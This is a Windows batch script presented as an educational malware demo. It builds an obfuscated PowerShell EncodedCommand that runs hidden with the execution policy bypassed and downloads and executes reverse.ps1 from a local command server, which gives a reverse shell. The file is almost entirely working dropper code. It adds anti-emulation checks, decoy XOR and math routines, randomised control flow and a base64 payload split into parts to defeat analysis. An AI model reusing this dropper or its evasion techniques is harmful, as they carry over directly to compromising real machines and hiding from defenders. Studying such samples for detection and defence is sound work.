malware.bat

@echo off
SETLOCAL ENABLEDELAYEDEXPANSION

REM ===========================================================================
REM windows_malware / malware.bat
REM ---------------------------------------------------------------------------
REM Educational, obfuscated batch dropper for a localhost reverse shell demo.
REM Reconstructs a base64-encoded PowerShell -EncodedCommand that fetches and
REM executes reverse.ps1 from the local C2 server (server.py).
REM
REM Requires:  python server.py (running)  +  nc -lvnp 9001 (running)
REM Behavior:  Demonstrates layered indirection at the batch level only.
REM            See detection-and-defense.md for the realism caveats.
REM ===========================================================================

REM Environment trap — disrupts naive PATH-based static analysis
set "PATH_ORIG=%PATH%"
set "PATH=%TEMP%;%PATH%"
if "%~1"=="" set "LEVEL=0" & goto :init
if "%LEVEL%"=="1" goto :real_start
goto :confuse_trace

:init
set "LEVEL=1"
call "%~f0" dummy_param
exit /b

:confuse_trace
set "PATH=%PATH_ORIG%"
exit /b

:real_start
REM Final command shape: powershell -NoProfile -NonInteractive -EncodedCommand <b64>
set "c_1=powershell"
set "c_2=-NoProfile -NonInteractive -EncodedCommand"

set "XOR_KEY=42"
set "MOD=256"
call :init_char_map
call :init_math_funcs

REM Build decoy command strings via substring manipulation
set "str_pool=powershell-encodedCommandNonInteractive"
set "junk1=process call create data system object"
set "junk2=!junk1:~0,7! !junk1:~8,4! !junk1:~13,6!"
set "_cmd1=!str_pool:~0,5!"
set "_cmd2=!str_pool:~5,6!"
set "_cmd3=!str_pool:~11,8!"
set "_cmd4=!str_pool:~19,14!"

REM Anti-emulation guard (two RANDOM calls should never match)
set "g1=%RANDOM%%RANDOM%"
set "g2=%RANDOM%%RANDOM%"
if %g1% NEQ %g2% (
    set "_1=!_cmd1:~0,2!"
    set "_2=!_cmd1:~2,3!"
) else (
    set "_1=error"
    exit /b
)

REM Decoy substring layer (used for exec_cmd assembly but not for execution)
set "_3=!_cmd2:~0,2!"
set "_4=!_cmd2:~2,4!"
set "_5=!_cmd2:~6,3!"
set "_6=!_cmd3:~0,2!"
set "_7=!_cmd3:~2,4!"
set "_8=!_cmd3:~6,3!"
set "_9=!_cmd3:~9,4!"

REM Time-based branching — same result, different control-flow path
if %time:~7,1% LSS 5 (
    set "#part1=!_1!!_2!"
    set "#part2=!_3!!_4!!_5!"
    set "#part3=!_6!!_7!!_8!!_9!"
) else (
    set "#p_a=!_1!"
    set "#p_b=!_2!"
    set "#p_c=!_3!"
    set "#p_d=!_4!"
    set "#p_e=!_5!"
    set "#p_f=!_6!"
    set "#p_g=!_7!"
    set "#p_h=!_8!"
    set "#p_i=!_9!"
    set "#part1=!#p_a!!#p_b!"
    set "#part2=!#p_c!!#p_d!!#p_e!"
    set "#part3=!#p_f!!#p_g!!#p_h!!#p_i!"
)

call :shuffle_data
set "exec_cmd=!#part1!!#part2!!#part3!"

call :generate_payload_parts
call :assemble_payload
call :verify_checksum

call :prepare_execution
call :execute_payload

exit /b

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:StrLen
::  Usage: call :StrLen "StringGoesHere" lengthVar
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
setlocal ENABLEDELAYEDEXPANSION
set "str=%~1"
set /a len=0

:StrLenLoop
if "!str:~%len%,1!"=="" (
    endlocal & set "%~2=%len%"
    goto :eof
)
set /a len+=1
goto :StrLenLoop

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:strrev
::  Usage: call :strrev "StringToReverse" varForReversed
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
call :StrLen "%~1" length
setlocal ENABLEDELAYEDEXPANSION
set "s=%~1"
set "r="

for /l %%i in (%length%-1 -1 0) do (
    set "c=!s:~%%i,1!"
    set "r=!r!!c!"
)

endlocal & set "%~2=%r%"
goto :eof

:init_char_map
REM Decoy character map (analyzer red herring; not used in final execution)
set "char[0]=0"
set "char[1]=1"
set /a "i=2"
:char_map_loop
if !i! geq 128 goto :eof
set "char[!i!]=!i!"
set /a "i+=1"
goto :char_map_loop

:fix_char_map
REM Decoy ASCII-table builder (red herring)
for /L %%i in (32,1,126) do (
    set "char[%%i]=%%i"
    cmd /c exit %%i
    set "char[%%i]=!=ExitCodeAscii!"
)
goto :eof

:init_math_funcs
REM Decoy math aliases (red herring)
set "add=set /a"
set "sub=set /a"
set "mul=set /a"
set "div=set /a"
goto :eof

:xor_char
REM Decoy XOR transform (red herring — not on the real assembly path)
set /a "result=(%1 ^^ !XOR_KEY!) %% !MOD!"
set "%2=!result!"
goto :eof

:math_decode
REM Decoy math decode (red herring)
set "result="
for %%a in (%1 %2 %3 %4) do (
    set /a "decoded=(%%a-0)%%!MOD!"
    set "result=!result!!decoded!"
)
set "%5=!result!"
goto :eof

:shuffle_data
REM Circular-rotate the three decoy parts 50% of runs (assemble_payload
REM doesn't depend on these; rotation just changes static fingerprint).
if %RANDOM% GTR 16384 goto :eof
set "temp=!#part1!"
set "#part1=!#part2!"
set "#part2=!#part3!"
set "#part3=!temp!"
goto :eof

:generate_payload_parts
REM Real base64 payload split across 8 named parts. Concatenated they decode
REM (PowerShell UTF-16LE base64) to:
REM   powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object
REM   Net.WebClient).DownloadString('http://127.0.0.1:8080/reverse.ps1')"
set "p1=cABvAHcAZQByAHMAaABlAGwAbAAgAC0ATgBvAFAAIAAtAE"
set "p2=4AbwBuAEkAIAAtAFcAIABIAGkAZABkAGUAbgAgAC0ARQB4"
set "p3=AGUAYwAgAEIAeQBwAGEAcwBzACAALQBDAG8AbQBtAGEAbgBkAC"
set "p4=AAIgBJAEUAWAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABO"
set "p5=AGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkA"
set "p6=LgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKA"
set "p7=AnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADE"
set "p8=AOgA4ADAAOAAwAC8AcgBlAHYAZQByAHMAZQAuAHAAcwAxACcAKQAiAA=="

REM Unique single-character slot keys — guarantees no collisions
set "layer1_A=p1"
set "layer1_B=p2"
set "layer1_C=p3"
set "layer1_D=p4"
set "layer1_E=p5"
set "layer1_F=p6"
set "layer1_G=p7"
set "layer1_H=p8"

REM Deterministic iteration order
set "seq=ABCDEFGH"
goto :eof

:assemble_payload
REM Walk seq and resolve layer1_<key> -> part name -> part value.
REM Two indirection hops: char in seq -> variable name -> variable value.
setlocal ENABLEDELAYEDEXPANSION
set "final_payload="
for /L %%i in (0,1,7) do (
    set "current=!seq:~%%i,1!"
    for /f "tokens=1,2 delims==" %%a in ('set layer1_!current!') do (
        set "part_name=%%b"
        set "part_value=!%%b!"
        set "final_payload=!final_payload!!part_value!"
    )
)
endlocal & set "payload=!final_payload!"
goto :eof

:verify_checksum
REM Decoy integrity check (always passes; just confuses dynamic analysis)
set /a "sum=0"
for /l %%i in (0,10,70) do set /a "sum+=%%i"
if !sum! NEQ 385 exit /b 1
goto :eof

:prepare_execution
REM Final dereference: wrapper variables resolve to c_1 / c_2 at runtime
set "wrapper1=c_1"
set "wrapper2=c_2"
set "x=!%wrapper1%!"
set "y=!%wrapper2%!"
goto :eof

:execute_payload
echo [malware.bat] Assembled %payload:~0,16%...%payload:~-16%
echo [malware.bat] Launching: %x% %y% ^<encoded^>
echo.
%x% %y% "%payload%"
echo.
echo [malware.bat] Done. Press any key to close.
pause
goto :eof